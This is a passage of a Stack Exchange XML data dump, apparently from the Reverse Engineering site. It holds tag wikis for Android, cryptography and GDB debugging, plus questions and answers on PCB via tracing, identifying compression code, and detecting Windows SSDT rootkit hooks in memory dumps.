containing demos, tutorials, and anything else related to Android, the first complete, open, and free mobile platform.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PL734A052F802C96B9&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google I/O - Android sessions @ Youtube&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://tools.android.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android Tools Project Site&lt;/a&gt;&lt;br&gt;&#xA;On this site you will find information about the Developer Tools for Android (ddms, hierarchyviewer, lint) and various tips &amp;amp; how-to documents.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For non-developer questions, see the &lt;a href=&quot;http://android.stackexchange.com&quot;&gt;Android Enthusiasts Stack Exchange site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Free Android Programming Books&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ofps.oreilly.com/titles/9781449383268/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Building Android Apps with HTML, CSS, and JavaScript&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ofps.oreilly.com/titles/9781449390501/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Learning Android&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Android Development Book Recommendations&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pragprog.com/titles/eband3/hello-android&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hello, Android&lt;/a&gt; by Ed Burnette  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://books.google.co.in/books/about/Beginning_Android_Application_Developmen.html?id=hlygR8lJTzUC&quot; rel=&quot;nofollow noreferrer&quot;&gt;Beginning Android Application Development&lt;/a&gt; by Wei-Meng Lee&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1430234466&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android Apps for Absolute Beginners&lt;/a&gt; by Wallace Jackson  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://commonsware.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Busy Coder's Guide to Android Development&lt;/a&gt; by &lt;a href=&quot;https://stackoverflow.com/users/115145/commonsware&quot;&gt;Mark Murphy&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1118102274&quot; rel=&quot;nofollow noreferrer&quot;&gt;Professional Android 4 Application Development&lt;/a&gt; by &lt;a href=&quot;https://stackoverflow.com/users/822/reto-meier&quot;&gt;Reto Meier&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0321627091&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android Wireless Application Development&lt;/a&gt; by Shane Conder &amp;amp; Lauren Darcy  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1430232676&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pro Android Media: Developing Graphics, Music, Video, and Rich Media Apps for Smartphones and Tablets&lt;/a&gt; by Shawn Van Every  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0321741234&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Android Developer's Cookbook: Building Applications with the Android SDK&lt;/a&gt; by James Steele &amp;amp; Nelson To  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1849513503&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android Application Testing Guide&lt;/a&gt; by Diego Torres Milano&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.apress.com/mobile/android/9781430232971&quot; rel=&quot;nofollow noreferrer&quot;&gt;Beginning Android 3&lt;/a&gt; by &lt;a href=&quot;https://stackoverflow.com/users/115145/commonsware&quot;&gt;Mark L. Murphy&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1449389694&quot; rel=&quot;nofollow noreferrer&quot;&gt;Programming Android&lt;/a&gt; by Zigurd Mednieks&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1849514488&quot; rel=&quot;nofollow noreferrer&quot;&gt;Android User Interface Development: Beginner's Guide&lt;/a&gt; by Jason Morris&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1449390501&quot; rel=&quot;nofollow noreferrer&quot;&gt;Learning Android&lt;/a&gt; by &lt;a href=&quot;http://marakana.com/expert/marko_gargenta,2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Marko Gargenta&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0134030001&quot; rel=&quot;nofollow noreferrer&quot;&gt;Embedded Programming with Android: Bringing Up an Android System from Scratch&lt;/a&gt; by &lt;a href=&quot;http://www.amazon.com/Roger-Ye/e/B011AYDQ9G&quot; rel=&quot;nofollow noreferrer&quot;&gt;Roger Ye&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="151" LastEditorUserId="3371" LastEditDate="2017-08-27T20:59:33.353" LastActivityDate="2017-08-27T20:59:33.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1452" PostTypeId="4" CreationDate="2013-04-01T20:12:01.380" Score="0" Body="Android is Google's Linux-based operating system for mobile devices.  Initially developed by Android, Inc., Android is the world's most widely used smartphone platform." OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-04-01T21:54:29.240" LastActivityDate="2013-04-01T21:54:29.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1453" PostTypeId="5" CreationDate="2013-04-01T20:27:11.930" Score="0" Body="&lt;p&gt;&lt;strong&gt;Cryptography&lt;/strong&gt; is, to define it loosely, the study of sending stuff securely.  It referred almost exclusively to encryption up until recently.  Over the years, a variety of cryptography protocols have been invented: &lt;a href=&quot;http://en.wikipedia.org/wiki/MD5&quot; rel=&quot;nofollow&quot;&gt;MD5&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/SHA-1&quot; rel=&quot;nofollow&quot;&gt;SHA-1&lt;/a&gt;, and RSA all have been used successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptography&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Cryptography&lt;/strong&gt;  is the practice and study of techniques for secure communication in the presence of third parties (called adversaries). More generally, it is about constructing and analyzing protocols that overcome the influence of adversaries and which are related to various aspects in information security such as data confidentiality, data integrity, authentication, and non-repudiation. Modern cryptography intersects the disciplines of mathematics, computer science, and electrical engineering. Applications of cryptography include ATM cards, computer passwords, and electronic commerce. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-04-01T21:55:37.650" LastActivityDate="2013-04-01T21:55:37.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1454" PostTypeId="4" CreationDate="2013-04-01T20:27:11.930" Score="0" Body="the practice and study of techniques for secure communication and sending of data, and the construction and analysis of protocols that accomplish this." OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-04-01T21:53:55.237" LastActivityDate="2013-04-01T21:53:55.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1455" PostTypeId="5" CreationDate="2013-04-01T20:47:51.447" Score="0" Body="&lt;p&gt;&lt;strong&gt;Common Source Level Debuggers&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.gnu.org/software/gdb/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GDB&lt;/a&gt;: The GNU DeBugger is ubuquitous among processors and operating systems with C and C++ support.&#xA;&lt;br&gt;&#xA;&lt;a href=&quot;http://lldb.llvm.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;LLDB&lt;/a&gt;: The LLvm DeBugger for ARM and x86/amd64 aims to be faster with better tooling integration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Binary Debuggers&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Freeware&lt;/a&gt; (free, x86 only)&#xA;&lt;br&gt;&#xA;&lt;a href=&quot;https://www.hex-rays.com/products/ida/processors.shtml#professional&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Pro&lt;/a&gt; (commercial, supports x64, ARM and many other processors)&#xA;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.hopperapp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hopper&lt;/a&gt; (demo and paid versions)&#xA;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.backerstreet.com/rec/rec.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;REC&lt;/a&gt; (free)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Simulators With Debugging support&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.qemu.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;QEMU&lt;/a&gt; (free)&#xA;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.ovpworld.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OPVSim&lt;/a&gt; (free w/ registration)&#xA;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.windriver.com/products/simics/simics-supported-targets.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Simics&lt;/a&gt; (expensive)&#xA;&lt;br&gt;&#xA;&lt;a href=&quot;http://bochs.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bochs&lt;/a&gt; (free)&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="60" LastEditDate="2016-12-12T18:04:22.170" LastActivityDate="2016-12-12T18:04:22.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1456" PostTypeId="4" CreationDate="2013-04-01T20:47:51.447" Score="0" Body="Debuggers allow the user to view and change the running state of a program." OwnerUserId="117" LastEditorUserId="60" LastEditDate="2016-12-12T18:04:22.170" LastActivityDate="2016-12-12T18:04:22.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1458" PostTypeId="5" CreationDate="2013-04-01T21:24:12.353" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.gnu.org/software/gdb/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GDB&lt;/a&gt; is primarily designed for debugging software during development with source available. However, it can also be used to debug without source code and debug symbols available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is available on most platforms and included by default in the tool chains of most Unix like operating systems. There are text interfaces as well as graphical ones such as &lt;a href=&quot;http://stackoverflow.com/questions/3758794/how-do-i-use-gdb-in-eclipse-for-c-c-debugging&quot;&gt;Eclipse integration&lt;/a&gt;, the venerable &lt;a href=&quot;http://www.gnu.org/software/ddd/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DDD&lt;/a&gt; or &lt;a href=&quot;http://www.kdbg.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;KDBG&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the comprehensive documentation &lt;a href=&quot;http://www.gnu.org/software/gdb/documentation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Default interfaces&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The default interfaces are terminal based.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can also use the following GDB commands on the &lt;code&gt;(gdb)&lt;/code&gt; prompt to switch the layouts on the fly (use &lt;code&gt;help layout&lt;/code&gt; to get more information):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;layout src&lt;/code&gt; (only useful &lt;em&gt;with&lt;/em&gt; source and symbols)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;layout asm&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;layout regs&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;TUI&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;There is the default &lt;code&gt;layout src&lt;/code&gt; which can be invoked using the &lt;code&gt;-tui&lt;/code&gt; command line switch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C5shm.png&quot; alt=&quot;gdb -tui&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Simple prompt&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Default when not using any kind of command line switches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A6KGK.png&quot; alt=&quot;Simple GDB prompt&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;code&gt;layout asm&lt;/code&gt; together with &lt;code&gt;layout regs&lt;/code&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is by far the most useful &lt;code&gt;layout&lt;/code&gt; for reverse engineering, during which debug symbols are usually unavailable. Behold:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/saQIT.png&quot; alt=&quot;layouts asm and regs combined&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beautiful isn't it? You can see the current values of registers, see the assembly at your current program counter, see where the break point was set and so on. And if you prefer the Intel assembly syntax like I do you issue a:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set disassembly-flavor intel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Wk08.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Debugging without debug symbols&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Normally GDB will attempt to load the debug symbols from the executable itself or in the search paths it was told about. If it doesn't find any symbols or you are reversing/analyzing a target executable without symbols, you can use the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;disp/i $pc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to enable an &lt;a href=&quot;http://sourceware.org/gdb/current/onlinedocs/gdb/Auto-Display.html#Auto-Display&quot; rel=&quot;nofollow noreferrer&quot;&gt;automatic &lt;code&gt;display&lt;/code&gt;&lt;/a&gt; for the program counter (&lt;code&gt;$pc&lt;/code&gt;). So you see what you are going to execute. Starting with GDB 7 you can also use the following setting to achieve virtually the same:&#xA;    set disassemble-next-line on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you merely want to see the current instruction use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x/i $pc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is short for &lt;a href=&quot;http://sourceware.org/gdb/current/onlinedocs/gdb/Memory.html#Memory&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;examine&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to make sure you don't get surprised by something running before you get control in GDB, you should use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;info file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which will give you an output similar to (shortened for brevity):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info file&#xA;Symbols from &quot;/home/username/source/hello&quot;.&#xA;Local exec file:&#xA;        `/home/username/source/hello', file type elf64-x86-64.&#xA;        Entry point: 0x400410&#xA;        0x0000000000400238 - 0x0000000000400254 is .interp&#xA;        0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag&#xA;        0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id&#xA;        0x0000000000400298 - 0x00000000004002b4 is .gnu.hash&#xA;        0x00000000004002b8 - 0x0000000000400318 is .dynsym&#xA;        0x0000000000400318 - 0x0000000000400355 is .dynstr&#xA;        0x0000000000400356 - 0x000000000040035e is .gnu.version&#xA;        0x0000000000400360 - 0x0000000000400380 is .gnu.version_r&#xA;        0x0000000000400380 - 0x0000000000400398 is .rela.dyn&#xA;        0x0000000000400398 - 0x00000000004003c8 is .rela.plt&#xA;        0x00000000004003c8 - 0x00000000004003e0 is .init&#xA;        ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you are interested to set &lt;code&gt;breakpoint&lt;/code&gt;s at the lines for the &lt;code&gt;Entry point:&lt;/code&gt; and the one with &lt;code&gt;.init&lt;/code&gt; (a runtime function running before the entry point):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) b *0x400410&#xA;Breakpoint 1 at 0x400410&#xA;(gdb) b *0x00000000004003c8&#xA;Breakpoint 2 at 0x4003c8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice how we use the asterisk (&lt;code&gt;*&lt;/code&gt;) to specify an address for the &lt;a href=&quot;http://sourceware.org/gdb/current/onlinedocs/gdb/Set-Breaks.html#Set-Breaks&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;break&lt;/code&gt; point command&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Refining what assembly we see&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/5i $pc&#xA;=&amp;gt; 0x400410 &amp;lt;_start&amp;gt;:   xor    %ebp,%ebp&#xA;   0x400412 &amp;lt;_start+2&amp;gt;: mov    %rdx,%r9&#xA;   0x400415 &amp;lt;_start+5&amp;gt;: pop    %rsi&#xA;   0x400416 &amp;lt;_start+6&amp;gt;: mov    %rsp,%rdx&#xA;   0x400419 &amp;lt;_start+9&amp;gt;: and    $0xfffffffffffffff0,%rsp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both &lt;code&gt;examine&lt;/code&gt; and &lt;code&gt;display&lt;/code&gt; allow us to specify the number of instructions we want to see like this to show 5 instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x/5i $pc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;we can also tell it to show starting from before the current program counter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x/10i $pc-3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;last but not least we can change from AT&amp;amp;T syntax to Intel syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set disassembly-flavor intel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/10i $pc-3&#xA;   0x40041a &amp;lt;_start+10&amp;gt;:        and    esp,0xfffffff0&#xA;=&amp;gt; 0x40041d &amp;lt;_start+13&amp;gt;:        push   rax&#xA;   0x40041e &amp;lt;_start+14&amp;gt;:        push   rsp&#xA;   0x40041f &amp;lt;_start+15&amp;gt;:        mov    r8,0x4005a0&#xA;   0x400426 &amp;lt;_start+22&amp;gt;:        mov    rcx,0x400510&#xA;   0x40042d &amp;lt;_start+29&amp;gt;:        mov    rdi,0x4004f4&#xA;   0x400434 &amp;lt;_start+36&amp;gt;:        call   0x400400 &amp;lt;__libc_start_main@plt&amp;gt;&#xA;   0x400439 &amp;lt;_start+41&amp;gt;:        hlt    &#xA;   0x40043a &amp;lt;_start+42&amp;gt;:        nop&#xA;   0x40043b &amp;lt;_start+43&amp;gt;:        nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="117" LastEditorUserId="245" LastEditDate="2013-04-24T15:07:40.707" LastActivityDate="2013-04-24T15:07:40.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1459" PostTypeId="4" CreationDate="2013-04-01T21:24:12.353" Score="0" Body="A source level debugger based on `ptrace` for *NIX systems and developed by the GNU project." OwnerUserId="117" LastEditorUserId="53" LastEditDate="2015-07-27T12:16:10.573" LastActivityDate="2015-07-27T12:16:10.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1460" PostTypeId="1" AcceptedAnswerId="1462" CreationDate="2013-04-01T21:24:22.093" Score="8" ViewCount="266" Body="&lt;p&gt;I'm trying to reverse engineer some boards that have multiple layers, but can't figure out any way of discovering which layer certain vias go to. Unfortunately I can't destroy the board with corrosives, since it's my only one. How can I find out how deep they go?&lt;/p&gt;&#xA;" OwnerUserId="1351" LastActivityDate="2013-04-01T22:46:19.497" Title="How can I work out which PCB layer a via goes to, without destroying the board?" Tags="|hardware|pcb|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1461" PostTypeId="1" AcceptedAnswerId="1466" CreationDate="2013-04-01T21:56:28.287" Score="10" ViewCount="1626" Body="&lt;p&gt;The &lt;a href=&quot;http://en.wikipedia.org/wiki/System_Service_Dispatch_Table&quot;&gt;SSDT&lt;/a&gt; is a dispatch table inside the Windows NT kernel, and it is used for handling calls to various internal kernel APIs. Often malware will change addresses in the SSDT in order to hook certain kernel functions. Spotting this kind of thing in a memory dump would be awesome, because it would allow me to identify potential rootkits. Is there a way to reliably detect them? What kind of memory dump is required?&lt;/p&gt;&#xA;" OwnerUserId="1351" LastActivityDate="2013-04-02T01:27:20.250" Title="Is there an easy way to detect if the SSDT has been patched from a memory dump?" Tags="|windows|malware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1462" PostTypeId="2" ParentId="1460" CreationDate="2013-04-01T21:57:30.860" Score="8" Body="&lt;p&gt;You would probably need some &lt;a href=&quot;http://www.pcbreverseengineering.com/&quot; rel=&quot;noreferrer&quot;&gt;expensive scanning equipment&lt;/a&gt;. It is possible  you could get old equipment that is being discarded but that would be rather difficult. Then you would probably need to write software to handle the output of the equipment as you most likely wouldn't have a license for the accompaning software unless you nabbed a complete system intact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were willing to forgo saving the original PCB you could do &lt;a href=&quot;http://www.flexiblecircuitpcb.com/blog/pcb-copy-board-methods-and-steps.html&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt;. Basically carefully note component positions, remove the parts, scan both sides, clean up scans with image tool, then repeat removing layers of the board as you go... sounds quite error prone to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible you could figure out a few by checking exhaustivly if some groups  of pins go to the same layer... you could probably assume those were power/ground pins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing that may help is if the board is designed to support &lt;a href=&quot;http://people.ee.duke.edu/~krish/teaching/ECE269/boundaryscan_tutorial.pdf&quot; rel=&quot;noreferrer&quot;&gt;boundary scan&lt;/a&gt; testing. If I understand correctly you might be able to use that to automate detecting connecitons between chips if not which layer they are on. And here is a &lt;a href=&quot;http://events.ccc.de/congress/2009/Fahrplan/attachments/1435_JTAG.pdf&quot; rel=&quot;noreferrer&quot;&gt;PDF on that topic&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-04-01T22:46:19.497" LastActivityDate="2013-04-01T22:46:19.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1463" PostTypeId="1" AcceptedAnswerId="1470" CreationDate="2013-04-01T22:49:19.713" Score="19" ViewCount="12875" Body="&lt;p&gt;I know there are tools for identifying common ciphers and hash algorithms in code, but are there any similar scripts / tools / plugins for common compression algorithms such as gzip, deflate, etc? Primarily aimed at x86 and Windows, but answers for other platforms are welcomed too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I'm looking to find &lt;em&gt;code&lt;/em&gt;, not &lt;em&gt;data&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1351" LastEditorUserId="1351" LastEditDate="2013-04-02T07:31:13.557" LastActivityDate="2013-04-02T08:19:44.393" Title="Are there any tools or scripts for identifying compression algorithms in executables?" Tags="|tools|windows|x86|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1465" PostTypeId="2" ParentId="1461" CreationDate="2013-04-02T00:37:24.707" Score="6" Body="&lt;p&gt;&lt;a href=&quot;https://code.google.com/p/volatility/&quot;&gt;Volatility&lt;/a&gt; can detect such hooks based on a memory image in any of its &lt;a href=&quot;https://code.google.com/p/volatility/wiki/AddressSpaceReference&quot;&gt;supported formats&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, the &lt;a href=&quot;https://code.google.com/p/volatility/wiki/CommandReferenceMal23#threads&quot;&gt;threads&lt;/a&gt; plugin will tag any thread with SSDT hooks as &lt;code&gt;HookedSSDT&lt;/code&gt;, and the &lt;a href=&quot;https://code.google.com/p/volatility/wiki/CommandReference23#ssdt&quot;&gt;ssdt&lt;/a&gt; plugin will dump out all functions in the SSDT and give the name of the kernel module that contains each function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method, which may detect more subtle kinds of corruption, would be to use WinDbg (either on a live system or on a crash dump), and use the &lt;code&gt;chkimg&lt;/code&gt; command to audit each kernel module, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chkimg -d nt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This downloads a pristine copy of the kernel from the MS Symbol server and reports any differences from the in-memory version. Note that this probably wouldn't detect any hooks placed in a per-thread SSDT.&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="257" LastEditDate="2013-04-02T01:27:20.250" LastActivityDate="2013-04-02T01:27:20.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1466" PostTypeId="2" ParentId="1461" CreationDate="2013-04-02T00:39:33.253" Score="9" Body="&lt;p&gt;No &lt;em&gt;absolutely reliable&lt;/em&gt; way, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way you'll need a full dump, but the problem is that malware could even hook the responsible functions inside the kernel and modify &lt;em&gt;what&lt;/em&gt; gets dumped. There are several things that have to be considered here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;can&lt;/em&gt; detect it if the malware used a trivial method for hooking in the first place. Let's assume the address was replaced by one to a trampoline or to inside another loaded image (or even outside one just in nonpaged pool), then you can &lt;em&gt;easily detect&lt;/em&gt; it. You can simply enumerate all the modules and attempt to find the one inside which the address from inside the SSDT points. In case of a trampoline you'll have to disassemble the instructions there to see where it jumps/calls. There are plenty of libraries out there for the purpose, such as &lt;a href=&quot;http://udis86.sourceforge.net/&quot;&gt;&lt;code&gt;udis86&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if a malware is sneaky, it could use the natural gaps inside an executable (such as the kernel) when loaded into memory. As you probably know, the way a PE file (such as &lt;code&gt;ntoskrnl.exe&lt;/code&gt; and friends) is represented differently on disk and in memory. The on-disk file format is more terse. Loaded into memory, the sections are aligned in a particular way described in the PE header. This way gaps will likely exist between the real size of a section (end) and the properly aligned section size (&quot;padding&quot;). This leaves place to &lt;em&gt;hide&lt;/em&gt; something like a trampoline or even more shell code than a simple trampoline. So a naive check such as the above - i.e. enumerating modules and checking whether the SSDT functions point inside the kernel image - will not work. It would get bypassed by malware sophisticated enough to do what I just described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can imagine, this means that things - as all things malware/anti-malware - quickly becomes an arms race. What I would strongly suggest is that you attach a kernel debugger (&lt;code&gt;WinDbg&lt;/code&gt; via Firewire comes to mind) and keep the infected (or allegedly infected) machine in limbo while you investigate. While you are connected and broke into the debugger, the debuggee can't do anything. This can be used to debug a system live and - assuming the malware wasn't sneaky enough to also manipulate 